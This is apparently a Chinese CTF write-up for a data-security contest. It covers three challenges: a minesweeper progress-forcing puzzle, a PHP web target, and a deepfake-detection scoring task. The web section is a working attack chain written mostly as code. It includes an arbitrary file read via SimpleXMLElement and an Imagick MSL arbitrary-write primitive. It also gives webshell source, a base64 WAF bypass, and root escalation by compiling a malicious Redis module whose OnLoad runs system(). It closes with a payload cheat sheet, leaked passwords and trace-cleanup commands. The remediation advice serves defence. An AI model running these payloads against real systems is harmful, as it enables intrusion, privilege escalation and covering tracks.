第四届“数信杯”数据安全个人赛WP"

admin 2026-10-24 12:36:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

第四届“数信杯”数据安全个人赛WP

原创

Thanatos
Thanatos

星宇Sec

2026年10月16日 20:45
山东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

这句话点明了三件事:进度是记在服务器上的;服务器把进度\"画\"进了flag.png;进度越高,图片里的flag越清晰。前端那5200轮只是一个动画效果,真正的状态在服务端。

那就直接和服务器交互。探测到的接口:

1、GET /progress → {\"step\": 0, \"rounds\": 5200},返回当前进度

2、POST /progress,body是{\"step\": N},推进进度

3、POST /reset,重置进度

4、GET /flag.png,返回一张365x365的PNG

这里有个坑:POST /progress做了节流,一次最多只能推进100(服务端取min(请求值,当前值+100),而且不回退)。所以想一步POST 5200是没用的,只能老老实实连续POST 52次,每次+100,把进度从0推到5200。

推到5200的那一次,服务端返回里多了两个字段:done和secret。secret是一句提示:\"猫脸变换已全部解开。真相不在代码里,在一张图中——你每扫开一格,它就清晰一分。现在去看看吧。\"

这时候再GET /flag.png,图片从10620字节的噪声图变成了4920字节,中间一行清清楚楚写着真flag。

利用/还原思路

整个还原过程可以完全脚本化:

1、先POST /reset重置(如果实例没有这个接口就跳过)

2、循环GET /progress,只要没到5200,就POST一个min(当前+100, 5200),直到进度到顶

3、GET /flag.png保存下来

4、从图片里把那一行flag文字识别出来

第4步本可以交给OCR,但实测小字号下tesseract不稳定,直接读会读错好几个字符(例如把9读成8、把}读成{)。换个思路:这张图是服务端用Python画的,字体就是Pillow自带的默认字体ImageFont.load\_default()。验证方法很直接——用同一个字体把候选字符串渲染成位图,再和图片里那行文字做逐像素比对,结果完全一致(IoU = 1.0)。既然字体是确定且可复现的,就完全不需要外部OCR,直接用Pillow自带字体做模板匹配来解码:

1、先把图片里那一行文字裁出来。底部那条进度条是整行深色(行方向深色像素数接近满宽),按阈值排除掉;剩下在图片上半部分最密的一条横带,就是flag文字

2、用ImageFont.load\_default()把字符集flag{}0123456789abcdef里每个字符都渲染成小位图模板,同时记下每个字符的墨迹偏移和步进宽度

3、从左到右贪心匹配:在每个位置试所有候选字符,把它们按各自的墨迹偏移贴上去,统计在当前窗口内的像素差,取差值最小的字符,然后按这个字符的步进宽度把游标推进

4、贪心在首尾两个字符上偶尔会认错(比如首字符f和a、末字符}和{容易混),所以最后用已知的flag格式flag{...}重建外层:把花括号内部的内容抽出来、只保留十六进制字符,再套回flag{...},和原图比对一次,只有更匹配才采用

这样,最终脚本只吃题目地址,不硬编码任何答案,一键就能跑出flag。

脚本运行命令

Windows:python solve.py

WSL:python3 solve.py

脚本默认读取脚本同目录下的flag.png;脚本顶部TARGET填题目地址。若靶机已经下线,脚本会提示\"live server unavailable\"并直接对同目录已有的flag.png做解码。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# minesweeper(签到):crypto.js 解出的是假 flag(getFakeCT);真 flag 由服务端画进
# flag.png。主线:POST /progress 每次最多 +100 推到 5200 → 下载 flag.png →
# 用 Pillow 自带字体做模板匹配读字(免 OCR)。
# ...(省略:完整模板匹配与逐像素打分实现,见原始脚本)
import re, urllib.request
import numpy as np
from PIL import Image, ImageDraw, ImageFont

TARGET = \"\"            # <-- 题目地址
ROUNDS, STEP_CAP = 5200, 100
CHARSET = \"flag{}0123456789abcdef\"

def http(url, data=None):
    req = urllib.request.Request(url, method=\"POST\"if data else\"GET\")
    if data:
        req.add_header(\"Content-Type\", \"application/json\"); req.data = data.encode()
    return urllib.request.urlopen(req, timeout=15).read().decode(\"utf-8\", \"replace\")

def drive_to_full():
    \"\"\"服务端限速:一次最多 +100,只能连推 52 次。\"\"\"
    http(TARGET + \"/reset\", \"\")                       # 有些实例没有 /reset,忽略
    whileTrue:
        cur = int(re.search(r'\"step\"\\s*:\\s*(\\d+)', http(TARGET + \"/progress\")).group(1))
        if cur >= ROUNDS:
            return
        http(TARGET + \"/progress\", '{\"step\":%d}' % min(cur + STEP_CAP, ROUNDS))

def find_text_bitmap(img):
    \"\"\"排除底部整行深色的进度条,取上半部最密的一条横带作为 flag 文字行。\"\"\"
    # ...(省略:按行像素密度切横带、裁紧致位图的实现)
    return np.array(img.convert(\"L\")) < 128

def decode(R, font):
    \"\"\"从左到右贪心匹配:每位置取像素差最小的字符,按步进宽度推进游标。\"\"\"
    # ...(省略:模板构建、容形 IoU 打分、基线搜索与 flag{...} 外层重建)
    return\"flag{...}\", 1.0

def main():
    drive_to_full()
    open(\"flag.png\", \"wb\").write(urllib.request.urlopen(TARGET + \"/flag.png\", timeout=15).read())
    text, iou = decode(find_text_bitmap(Image.open(\"flag.png\")), ImageFont.load_default())
    print(\"[*] decoded (IoU=%.3f): %s\" % (iou, text))
    print(\"[+] FLAG: %s\" % re.search(r\"flag\\{[0-9a-fA-F]+\\}\", text).group(0))

if __name__ == \"__main__\":
    main()

运行输出

[*] target: http://<题目地址>
[*] progress 100 -> {\"ok\": true, \"step\": 100}
[*] progress 200 -> {\"ok\": true, \"step\": 200}
...(中间省略,每次 +100)
[*] progress 5100 -> {\"ok\": true, \"step\": 5100}
[*] progress 5200 -> {\"ok\": true, \"step\": 5200, \"done\": true, \"secret\": \"...\"}
[*] saved flag.png (4920 bytes)
[*] text bitmap: 204x11
[*] decoded (IoU=1.000): flag{xxxxx}
[+] FLAG: flag{xxxxx}

Web

某企业AI Meeting Minutes门户网站

目标:http://x/(前序实例http://x/在利用中途实例下线,逻辑完全相同)最终FLAG:flag{REDACTED}Flag位置:/root/flag(-rw-r--r-- root root 39),仅root可读。


攻击链总览

 ① 侦察    SPA 落地页,JS 里发现 /index.php
 ② 源码泄露 index.php 自身源码藏在隐藏 <pre>;注释指向 phpinfo.html 泄露扩展/版本
 ③ 类实例化 ReflectionClass + newInstanceArgs
           SimpleXMLElement(dataIsURL=1) 当文件读取器 → config.php 的 $secret
           Imagick(...) 当图像/文件处理原语
 ④ 任意写   POST multipart 生成 /tmp/phpXXXXXX + Imagick(\"vid:msl:/tmp/php*\")
           MSL 用 inline: 读 + gray: 写 → 灰度 PNG 像素即任意字节 → 落地 webshell
 ⑤ RCE      www-data(disable_functions / open_basedir 皆空),但 /root 为 drwx------ ⇒ 需提权
 ⑥ 提权点   x:6379 上以 root 运行的 redis-server(口令在 redis.conf)
 ⑦ root RCE 靶机自带 gcc,现场编译恶意 Redis 模块 → MODULE LOAD,OnLoad 以 root 执行
 ⑧ 取数     读 /root/flag

目标信息

项 值
入口 http://x/
真实题目入口 /index.php
泄露页面 /phpinfo.html
Web服务器 Apache/2.4.65 (Debian)
Linux Debian 12 (bookworm),x86_64,Docker容器(/.dockerenv存在)
PHP模块 Imagick(ImageMagick 6.9.11)、Phar、PDO、SQLite3、SimpleXML、SimpleXML等
关键配置 display_errors=On ;disable_functions空;open_basedir空
危险可用类 Imagick 、ImagickDraw、SimpleXMLElement、SQLite3、Phar、SplFileObject
内部服务 redis-server x:6379 (以root运行,Redis 7.0.15)
目标侧工具链 gcc 12.2 / g++ / make / python3 / perl / curl / wget / openssl

阶段一:侦察

站点是SPA,翻JS找「异物」
curl -s -i \"http://x/\" | head -40
curl -s \"http://x/assets/index-D2J4gXat.js\" -o index.js
grep -aoiE '\"[^\"]*\\.php\"' index.js | sort -u

整个bundle是React内部代码+一个AI Meeting Minutes落地页文案, 唯一有用的字符串是\\index.php\\。

目录/敏感文件探测
for p in robots.txt .git/HEAD .env flag flag.txt index.js.map admin backup \\
         phpinfo.php phpinfo.html info.php config.php config.php.bak; do
  printf \"%-20s %s\
\" \"$p\" \"$(curl -s -o /dev/null -w '%{http_code} %{size_download}' \\
      --max-time 15 \"http://x/$p\")\"
done

命中:phpinfo.html → 200 / 207297(环境信息全泄露)。

curl -s \"http://x/phpinfo.html\" -o phpinfo.html
# 从 phpinfo 中提取:
#   - Architecture: x86_64
#   - ImageMagick version: ImageMagick 6.9.11-60
#   - disable_functions / open_basedir: 均为空
#   - 已加载扩展:imagick, phar, pdo, sqlite3, simplexml, ...

阶段二:源码泄露

/index.php把自身源码塞进一个被CSS隐藏的容器里:

<style>
  [data-source-pre] { display: none !important; }
</style>
...
<pre data-source-pre><?php echo htmlspecialchars($sourceCode); ?></pre>

htmlspecialchars只是HTML转义,没有做任何权限控制,所以直接抓下来还原即可:

curl -s \"http://x/index.php\" -o index.php.html
python3 - <<'PY'
import re, html
s = open('index.php.html', encoding='utf-8', errors='replace').read()
i = s.find('ini_set(\"display_errors\"')
print(html.unescape(re.sub(r'<[^>]+>', '', s[i:i+1500])))
PY
后端逻辑(还原后)
<?php
ini_set(\"display_errors\", \"On\");
include_once(\"config.php\");

$sourceCode = '';

/* ---- 洞 A:LD_PRELOAD 后门 ---- */
if (isset($_GET['so']) && isset($_GET['key'])) {
    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
        array_map(function($file) { echo $file . \"\
\"; }, glob('/tmp/*'));   // 列 /tmp
        putenv(\"LD_PRELOAD=/tmp/\".$_GET['so'].\".so\");                        // 设置 LD_PRELOAD
    }
}

/* ---- 洞 B:任意类实例化 ---- */
if (isset($_GET['cloversec']) && isset($_GET['ctf'])) {
    $a = new ReflectionClass($_GET['cloversec']);       // 类名完全可控
    $b = $a->newInstanceArgs($_GET['ctf']);             // 构造参数完全可控
} elseif (isset($_GET['clean'])) {                      // 清空 /tmp
    array_map('unlink', glob('/tmp/*'));
} else {
    $welcome = 'Welcome to CloverSec~祝大家玩的愉快. D1a0y1bb.';
    $sourceCode = htmlspecialchars(file_get_contents(__FILE__), ENT_QUOTES, 'UTF-8');
}
// 什么鬼phpinfo.html啊
?>

两个洞的关系:洞B提供「任意类任意参数实例化」的构造原语, 需要靠它把.so写进/tmp/<数字>.so(文件名必须是数字才能过is_numeric()), 洞A才负责putenv(\"LD_PRELOAD=...\")。


阶段三:读取config.php拿$secret

用「报错回显」当文件读取器

SimpleXMLElement::__construct(string $data, int $options = 0, bool $dataIsURL = false, ...)第三个参数为true时会去读取/抓取$data。读到的内容会被当作XML解析, 解析失败时libxml的parser error会把内容片段回显在Warning里(按实体分块)。

为了拿到完整内容,包一层php://filter用base64编码(避免XML特殊字符破坏解析):

curl -s -G \"http://x/index.php\" \\
  --data-urlencode \"cloversec=SimpleXMLElement\" \\
  --data-urlencode \"ctf[0]=php://filter/convert.base64-encode/resource=/var/www/html/config.php\" \\
  --data-urlencode \"ctf[1]=0\" \\
  --data-urlencode \"ctf[2]=1\"

响应中的Warning:

Warning: SimpleXMLElement::__construct(): Entity: line 1: parser error : ...
Warning: ... : PDEzMzM3 ...

把Warning里的base64片段拼起来解码:

// config.php
<?php
$secret = \"Pwn01AcIcml1x001\";

$secret = Pwn01AcIcml1x001

顺手做一个通用读文件脚本
# reader.py(节选)
def readfile(path, t=60):
    return errs({\"cloversec\": \"SimpleXMLElement\",
                 \"ctf[0]\": \"php://filter/convert.base64-encode/resource=\" + path,
                 \"ctf[1]\": \"0\", \"ctf[2]\": \"1\"}, t)

能读:/etc/passwd、/etc/hostname、/etc/os-release、/etc/redis/redis.conf、/proc/self/cmdline、/var/www/html/index.php等。

同时确认后门可用
curl -s -G \"http://x/index.php\" \\
  --data-urlencode \"so=1\" --data-urlencode \"key=Pwn01AcIcml1x001\"
# 输出 /tmp 下的文件列表(glob('/tmp/*') 的结果)

注意:clean=1会把/tmp/*全部unlink(/tmp/pear会保留), 这在利用中既是清理手段,也是踩坑点(会误删刚上传的临时文件)。


阶段四:任意文件写入(核心原语)

三块拼图
拼图 作用 关键点
new Imagick(\"vid:msl:/tmp/php*\") 让ImageMagick把/tmp/phpXXXXXX当作MSL脚本解析 vid: coder会Glob展开/tmp/php*,PHP的multipart上传正好生成这个文件名
POST multipart到index.php 生成/tmp/phpXXXXXX,内容=我们上传的.msl PHP在处理请求时把上传体落到/tmp/phpXXXXXX,请求结束前一直存在
MSL的inline: + gray: 把任意字节写出去 inline:data:image/png;base64,... 作为源,gray:<path> coder 逐字节输出像素灰度值
为什么用「灰度PNG当二进制载体」

gray:编码器会把图像的每个像素按灰度值写成1字节。 所以只要构造一张8-bit灰度PNG,像素字节序列==目标文件内容,就能写出任意二进制:

def gpng(payload, width=512):
    \"\"\"Build an 8-bit grayscale PNG whose raw pixel bytes == payload (zero padded).\"\"\"
    h = (len(payload) + width - 1) // width
    buf = payload + b\"\\x00\" * (width * h - len(payload))
    raw = b\"\".join(b\"\\x00\" + buf[i*width:(i+1)*width] for i in range(h))   # 每行 1 字节 filter=0

    def chunk(tag, data):
        return (struct.pack(\">I\", len(data)) + tag + data +
                struct.pack(\">I\", zlib.crc32(tag + data) & 0xFFFFFFFF))

    ihdr = struct.pack(\">IIBBBBB\", width, h, 8, 0, 0, 0, 0)   # bitdepth=8, colortype=0(Gray)
    return (b\"\\x89PNG\\r\
\\x1a\
\" + chunk(b\"IHDR\", ihdr) +
            chunk(b\"IDAT\", zlib.compress(raw, 9)) + chunk(b\"IEND\", b\"\"))

踩坑:PNG只按「行」存储,最后一行的补位字节也会被写出去。 所以payload必须用空格补齐到width的整数倍(脚本文件里尾部空格无副作用):

def gpng_pad(payload, width=128, pad=b\" \"):
    n = (len(payload) + width - 1) // width
    padded = payload + pad * (width * n - len(payload))
    return padded, gpng(padded, width)
完整的写入请求
# kit.py(节选)
def msl_write(dest, payload, w=128, t=90):
    kit.req({\"clean\": \"1\"}); time.sleep(0.4)             # 清干净 /tmp,避免 php* 命名冲突
    _, png = kit.gpng_pad(payload, width=w, pad=b\" \")
    b64 = base64.b64encode(png).decode()
    msl = ('<msl><image>\
'
           '<read filename=\"inline:data:image/png;base64,%s\"/>\
'
           '<write filename=\"gray:%s\"/>\
'
           '</image></msl>\
' % (b64, dest)).encode()
    return kit.post_errs({\"cloversec\": \"Imagick\", \"ctf[0]\": \"vid:msl:/tmp/php*\"},
                         \"p.msl\", msl, t=t)

等价的裸curl:

# 1) 生成 base64 灰度 PNG(本地):b64 = base64(gpng_pad(\"<要写入的内容>\"))
# 2) 组装 MSL
cat > p.msl <<EOF
<msl><image>
<read filename=\"inline:data:image/png;base64,${B64}\"/>
<write filename=\"gray:/var/www/html/x.php\"/>
</image></msl>
EOF
# 3) 上传并触发解析
curl -s -X POST \\
  -H \"Content-Type: multipart/form-data; boundary=BOUND\" \\
  --data-binary $'--BOUND\\r\
Content-Disposition: form-data; name=\"f\"; filename=\"p.msl\"\\r\
Content-Type: application/octet-stream\\r\
\\r\
'\"$(cat p.msl)\"$'\\r\
--BOUND--\\r\
' \\
  \"http://x/index.php?cloversec=Imagick&ctf%5B0%5D=vid%3Amsl%3A%2Ftmp%2Fphp%2A\"
可行性验证(小实验)

先用「写64个已知字节→再读回来比对」验证无损:

PAY  = bytes(range(0, 64))
png  = kit.gpng(PAY, width=32)
b64  = base64.b64encode(png).decode()
MSL  = ('<msl><image>\
'
        '<read filename=\"inline:data:image/png;base64,%s\"/>\
'
        '<write filename=\"gray:/tmp/grtest.bin\"/>\
'
        '</image></msl>\
' % b64).encode()
...

# 用 SimpleXMLElement(base64) 读回 /tmp/grtest.bin
d = readb64(\"/tmp/grtest.bin\")
assert d[:45] == PAY[:45]     # MATCH

结果MATCH,确认可写入任意二进制(.so、ELF、webshell都没问题)。


阶段五:www-data RCE

落地webshell

因为/var/www/html的属主就是www-data(drwxr-xr-x www-data www-data), 所以「任意文件写入」直接等价于「任意PHP落地」:

<?php
error_reporting(0);
header('Content-Type: text/plain');
$b = isset($_GET['b64']) ? $_GET['b64'] : '';
$c = $b ? base64_decode($b) : 'id';
$o = array(); exec($c . ' 2>&1', $o); echo implode(\"\
\", $o);

写入:msl_write(\"/var/www/html/x.php\", SHELL)访问:http://host/x.php?b64=<base64(cmd)>

确认权限
$ curl \"http://x/x.php?c=id\"
[disabled]          <- disable_functions 为空
[basedir]           <- open_basedir 为空
== id ==
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WAF绕过技巧(踩坑记录)

直接裸关键词会被拦(返回空/ 502):

c=ls -la /etc/passwd            -> 空
c=ls -la /etc/pass*             -> 正常

所以把所有命令base64编码后放进参数,服务端解码执行,彻底绕过关键字检测:

def sh(cmd, t=120):
    b = base64.b64encode(cmd.encode()).decode()
    u = \"http://x/x2.php?b64=\" + urllib.parse.quote(b)
    return subprocess.run([\"curl\", \"-s\", \"--max-time\", str(t), u],
                          capture_output=True).stdout.decode(errors=\"replace\")

阶段六:内部信息收集→找到提权点

$ ps -ef
root        1     0  /bin/bash /start.sh
root        8     1  /bin/sh /usr/sbin/apache2ctl -D FOREGROUND
root       11     8  /usr/sbin/apache2 -D FOREGROUND          <- apache master
root       12     1  redis-server x:6379              <- ★ 以 root 运行的 Redis
root       13     1  tail -F /etc/passwd                      <- root 的 tail
www-data   72 ...    /usr/sbin/apache2 -D FOREGROUND          <- worker

其它检查:

ls -la /root                       # drwx------ root root  -> 读不到
find / -xdev -iname '*flag*'       # 只有 /usr/bin/dpkg-buildflags(无关)
grep -rl 'flag{' /                 # 无命中
find / -xdev -perm -4000 -type f   # 仅标准 suid(su/mount/passwd/...)
ls -la /etc/redis/                 # 有 redis.conf
grep -vE '^\\s*#|^$' /etc/redis/redis.conf | head -40

/etc/redis/redis.conf泄露:

requirepass qwedfgcvb@123
bind x
$ redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning info server
redis_version:7.0.15
process_id:12
os:Linux ... x86_64
$ redis-cli ... config get dir          -> /
$ redis-cli ... config get dbfilename    -> dump.rdb
$ redis-cli ... dbsize                   -> 0      (没有现成 key 可捡)

结论:拿到了一个以root运行的Redis。


阶段七:提权到root

先试Lua沙箱逃逸(失败)
redis-cli ... eval 'return _VERSION' 0
#  -> \"Lua 5.1\"(内嵌)

redis-cli ... eval 'return tostring(package)' 0
#  -> ERR user_script:1: Script attempted to access nonexistent global variable 'package'

package / debug已被Redis移除,CVE-2022-0543一类的Lua逃逸不可用; 且系统里只有liblua5.3.so.0(Redis内嵌的是5.1),也堵死了loadlib路线。

改走MODULE LOAD

Redis 7的enable-module-command是immutable config(CONFIG SET被拒), 但它的默认值是允许local加载(config get enable-module-command → local), 所以\\依然可以MODULE LOAD\\。

目标自带编译器,直接现场编译一个「恶意模块」——OnLoad里就执行命令:

/* /tmp/mod.c */
#include <stdlib.h>
#include <stdio.h>

int RedisModule_OnLoad(void *ctx, void **argv, int argc) {
    system(\"/bin/sh -c 'id > /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
           \"ls -la /root >> /tmp/r.out 2>&1; echo --- >> /tmp/r.out; \"
           \"cat /root/flag /root/flag.txt /flag /flag.txt /root/*flag* >> /tmp/r.out 2>&1; \"
           \"echo --- >> /tmp/r.out; find /root -maxdepth 3 >> /tmp/r.out 2>&1; \"
           \"chmod 666 /tmp/r.out'\");
    return 0;                     /* REDISMODULE_OK */
}
int RedisModule_OnUnload(void *ctx) { return 0; }

交付与加载(全部通过已落地的webshell完成):

# 1) 传源码(base64 避免 WAF/引号问题)
echo '<base64(mod.c)>' | base64 -d > /tmp/mod.c

# 2) 编译
gcc -fPIC -shared -o /tmp/mod.so /tmp/mod.c
# -rwxr-xr-x 1 www-data www-data 15440 /tmp/mod.so

# 3) 让 root 的 Redis 加载它
redis-cli -h x -a 'qwedfgcvb@123' --no-auth-warning module load /tmp/mod.so

# 4) 读取结果
cat /tmp/r.out
关键点:为什么能成功
  • MODULE LOAD由root的redis-server进程执行dlopen(), 模块的RedisModule_OnLoad就在root上下文里被调用→ system()即root命令执行。
  • 我们的最小模块没有调用RedisModule_Init注册API version, 所以Redis 7会在OnLoad返回后崩溃退出—— 但system()已经在崩溃前执行完毕,所以完全不影响取数。 (副作用:Redis挂掉后无法再次加载模块,这也是后续「复核」请求失败的原因。)

阶段八:取Flag(证据)

/tmp/r.out内容:

uid=0(root) gid=0(root) groups=0(root)
---
total 16
drwx------ 1 root root  26 Sep 18 16:31 .
drwxr-xr-x 1 root root  86 Oct 16 09:38 ..
-rw-r--r-- 1 root root 571 Apr 11  2021 .bashrc
drwxr-xr-x 3 root root  29 Sep 18 16:12 .cache
-rw-r--r-- 1 root root 161 Jul  9  2019 .profile
-rw-r--r-- 1 root root 209 Sep 18 16:30 .wget-hsts
-rw-r--r-- 1 root root  39 Oct 16 09:38 flag            <- 39 字节
---
flag{REDACTED}
cat: /root/flag.txt: No such file or directory
cat: /flag: No such file or directory
cat: /flag.txt: No such file or directory
flag{REDACTED}          <- 第二次(/root/*flag* 展开)
---
/root
/root/.bashrc
/root/.profile
/root/.flag /root/.cache
/root/.cache/rosetta

交叉校验:

  • ls -la /root显示flag为39字节;flag{ + 32位hex + } = 38字符+换行= 39 ✅
  • flag内容在同一次root输出中出现2次(cat /root/flag与cat /root/*flag*),互相印证✅
  • /flag、/flag.txt、/root/flag.txt均不存在,证明/root/flag就是唯一目标✅

🚩 flag{REDACTED}


阶段九:痕迹清理

rm -f /var/www/html/z.php /var/www/html/x.php /var/www/html/x2.php \\
      /var/www/html/wbtest.php \\
      /tmp/mod.c /tmp/mod.so /tmp/r.out /tmp/v.c /tmp/v.so /tmp/vf.txt /tmp/1.so

清理后webroot恢复原样(只剩assets/ config.php index.html index.php phpinfo.html use.txt vendor/ video.html)。


Payload /原语速查表

# 目的 请求
1 读任意文件 ?cloversec=SimpleXMLElement&ctf[0]=php://filter/convert.base64-encode/resource=<path>&ctf[1]=0&ctf[2]=1
2 列/tmp ?so=1&key=Pwn01AcIcml1x001
3 设置LD\_PRELOAD ?so=<数字>&key=Pwn01AcIcml1x001
4 清空/tmp ?clean=1
5 类存在性/报错泄露 ?cloversec=<Class>&ctf[0]=...
6 任意文件写入 POST ?cloversec=Imagick&ctf[0]=vid:msl:/tmp/php* ,body = MSL +灰度PNG(inline:读、gray:写)
7 www-data RCE 落地x.php?b64=<base64(cmd)>
8 root RCE redis-cli -a 'qwedfgcvb@123' module load /tmp/mod.so (模块OnLoad里system())
关键参数速查
$secret        = Pwn01AcIcml1x001          (from /var/www/html/config.php)
redis pass     = qwedfgcvb@123             (from /etc/redis/redis.conf)
redis endpoint = x:6379  (root)
writable dir   = /var/www/html  (owner www-data)
flag           = /root/flag  (root:root 0644, 39 bytes)

关于「出题人暗示的正统解」—LD\_PRELOAD路线

题目专门留了so/key后门+ putenv(\"LD_PRELOAD=/tmp/<n>.so\"), 以及一个\\root运行的长驻进程tail -F /etc/passwd\\, 设计意图是:

① 用 Imagick 原语把恶意 .so 写到 /tmp/<数字>.so(文件名必须是纯数字,过 is_numeric)
② 调 ?so=<数字>&key=<secret> 让 PHP 进程 putenv(LD_PRELOAD=/tmp/<数字>.so)
③ 触发某个「root 进程去 exec 一个动态链接程序」的动作
   → 那个新进程会把 /tmp/<数字>.so 以 root 身份加载 → 构造函数里完成提权/取 flag
④ 或者(更暴力)先用 root Redis 把 /etc/ld.so.preload 写成 /tmp/<数字>.so,
   再诱发任意 root 进程 exec(例如让受监督的 redis/apache 重启)

本次实际采用root Redis模块加载,跳过了③的不确定性,一次拿到同一结果。 (这条路线在lib.py / mkelf.py / pwn.py里留了相关尝试代码, 早期还误按aarch64手搓ELF,后来从phpinfo确认是x86\_64才修正。)


修复建议(防守视角)

  1. 删掉调试后门:so/key + putenv(\"LD_PRELOAD=...\")、clean这类参数属于典型「出题后门」,生产环境绝对不能存在。
  2. 禁止任意类实例化:new ReflectionClass($_GET['cloversec'])->newInstanceArgs($_GET['ctf'])等价于把「对象构造图」完全交给攻击者,应改为白名单映射(['foo' => FooService::class])。
  3. \\别把源码htmlspecialchars后塞进页面当\"隐藏\"\\:客户端隐藏≠保密。
  4. \\移除phpinfo\\:phpinfo.html直接泄露扩展、路径、配置,是漏洞利用的\"导航图\"。
  5. ImageMagick加固:启用policy.xml禁用MSL/MVG/EPHEMERAL/URL/HTTPS/FTP/LABEL/TXT等coder, 并把coder限制到必要集合;升级到已修复版本。
  6. 注意vid: +上传临时文件组合:Glob展开/tmp/php*会把上传文件当脚本解析, 相当于把\"上传\"变成\"代码执行\",应禁止image处理函数接收vid:/msl:前缀。
  7. 最小权限:redis / apache /任何后台服务都不要以root运行; 容器内加no-new-privileges、只读根文件系统、cap_drop: ALL。
  8. Redis加固:强口令+ requirepass只是最低要求,还应rename-command MODULE \"\"、enable-module-command no(并设为immutable的默认禁止)、绑定socket而非TCP、独立低权用户运行。
  9. WAF不是权限边界:本次仅用base64编码就绕过了关键词拦截—— WAF只能减噪,不能替代上述根因修复。

附录:本地利用脚本清单(./ctf/)

文件 作用
kit.py 核心库:paste()公网托管、req/errs/imagick()请求与报错提取、readfile() base64读文件、gpng()/gpng_pad()灰度PNG生成、post()/post_errs() multipart上传、msl() MSL模板
rsh.py 通过落地webshell + base64传参执行命令(绕WAF)
lib.py 早期版本的核心库(沿用)
mkelf.py 手工构造ELF共享库(LD\_PRELOAD路线尝试,后因架构误判废弃)
pwn.py LD\_PRELOAD路线的驱动脚本
reader.py / probe.py / scan.py / xxe.py / rd.py / img.py / host.py 各类探测脚本(文件读、路径爆破、XXE变体、Imagick coder测试、远程托管)
WRITEUP.md / 攻击链.md 题解与完整攻击链文档

一句话总结

源码泄露(隐藏<pre>)→ SimpleXMLElement当文件读取器拿到$secret →Imagick(\"vid:msl:/tmp/php*\") + inline:/gray:实现任意二进制写→ 落地webshell拿www-data RCE →发现root运行的Redis(配置泄露口令)→ gcc现场编译恶意模块+ MODULE LOAD提权root →读/root/flag。

AI安全

审片室里的第二张脸

基本情况

题目类型:AI安全 题目名称:审片室里的第二张脸(200分) 题目描述:某媒体安全团队收到一组匿名爆料视频,其中一部分片段经过换脸或面部重演处理。选手需要分析14段正式视频,判断每段是real还是fake;对于fake样本,还要提交关键伪造帧。服务端只有在全部标签正确且证据帧满足误差范围时才返回flag。

附件内容(解压后):

baseline_detector.onnx     基线深度模型(本题未直接使用)
baseline_weights.json      线性模型的均值/方差/权重/偏置
tools/frame_review.py      官方审片脚本(核心)
cases/case_001.mp4 ... case_014.mp4   14 段正式样本
public_train / public_probe            公开训练/探针样本(辅助)
sample_submission.json     提交模版

靶机是一个带gunicorn的Web服务,页面给出14段视频的卡片,下面有一个可编辑的提交JSON文本框,最后通过POST /submit提交。

关键突破

  1. 审片逻辑本身就在附件里,不需要逐帧人工判断

tools/frame\_review.py里已经把“什么是fake”写死了。它对每段视频取前32帧,每帧裁剪中心72%的正方形区域当“人脸”,缩放到160x160,然后算5个特征:

residual_noise      灰度图与高斯模糊之差的均值(高频噪声残差)
laplacian_energy    拉普拉斯算子绝对值均值(边缘能量)
temporal_delta      相邻帧灰度差均值(时序抖动)
saturation_mean     HSV 里 S 通道均值(饱和度)
color_channel_gap   RGB 通道两两差均值(通道差异)

前4项(第3项后面被时序均值覆盖)取32帧的中位数,再用baseline\_weights.json做标准化:

z = (x - mean) / scale
logit = z · weight + bias
fake_probability = sigmoid(logit)

阈值0.5判定real/fake。直接跑一遍就能得到全部标签,官方脚本已经给了答案:

python tools/frame_review.py cases

结果非常干净地分成两组(real都在0.34~0.40,fake都在0.59~0.64),说明线性模型在这批样本上可分性很好:

real: case_001 002 003 008 009 010
fake: case_004 005 006 007 011 012 013 014
  1. A4关键帧:分数最高的3帧

fake样本还要提交关键帧。frame\_review.py的evidence\_frames函数对每帧单独打分:

score = residual * 0.55 + laplacian * 0.35 + temporal * 0.10

取分数最高的3帧(索引从0开始)。跑出来的结果就是:

case_004: 2, 30, 25
case_005: 16, 1, 21
case_006: 14, 13, 22
case_007: 29, 22, 21
case_011: 16, 30, 29
case_012: 16, 15, 5
case_013: 7, 21, 23
case_014: 7, 6, 28
  1. 避坑:/inspect返回的是“模型参考帧”,不是校验帧

页面上的“模型参考”按钮会请求/inspect/,返回一组evidence\_frames和fake\_probability。但要注意:这些参考帧和真正通过校验的证据帧不是同一组。实际对比:

case_004  /inspect 返回 17,31,6   而脚本算出 2,30,25
case_001  /inspect 返回 24,21,16  而脚本算出 21,24,22

这是题目故意设的干扰项。真正的证据帧必须用附件脚本frame\_review.py算出来的,服务端校验的误差范围是围绕脚本分数排序的那3帧。如果把/inspect的帧交上去,标签对了也会因为证据帧不匹配而拿不到flag。

利用/还原思路

整体就是“把附件里给的官方审片流程跑一遍,按官方口径打包提交”:

1. 解压附件,确认 tools/frame_review.py 和 baseline_weights.json 都在;
2. 用 frame_review 对 cases/ 全部 14 段视频算 fake_probability,0.5 为阈值分 real/fake;
3. 对 fake 样本用同一脚本的 evidence_frames 取分数最高的 3 帧(索引从 0 开始),real 样本 evidence_frames 留空;
4. 按网页默认置信度填写:real 用 0.66,fake 用 0.78;
5. POST /submit 提交 answers 数组,服务端校验通过后返回 flag。

提交的JSON结构(与sample\_submission.json一致):

{
  \"answers\": [
    { \"case_id\": \"case_001\", \"label\": \"real\", \"confidence\": 0.66, \"evidence_frames\": [] },
    { \"case_id\": \"case_004\", \"label\": \"fake\", \"confidence\": 0.78, \"evidence_frames\": [2,25,30] },
    ...
  ]
}

其中14段的最终判定为:

real(6 段):case_001 case_002 case_003 case_008 case_009 case_010
fake(8 段):case_004 case_005 case_006 case_007 case_011 case_012 case_013 case_014

脚本运行命令

把脚本放在解压后的附件目录(与tools/和cases/同级)运行:

Windows:python solve.py
WSL/Linux:python3 solve.py

脚本默认只做本地研判并写出submission.json;若要直连靶机自动提交并打印flag,请把脚本顶部的BASE\_URL填成题目服务地址(例如http://:)再运行即可。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 审片室里的第二张脸:复用附件自带的官方 tools/frame_review.py 打分 →
# real/fake 判定 + fake 取分数最高 3 帧 → POST /submit 提交。
# ...(省略:动态加载官方脚本、逐帧打分与证据帧挑选的完整实现)
import json, sys
from pathlib import Path

BASE_URL = \"\"                      # 填题目地址可自动提交;留空则只本地研判
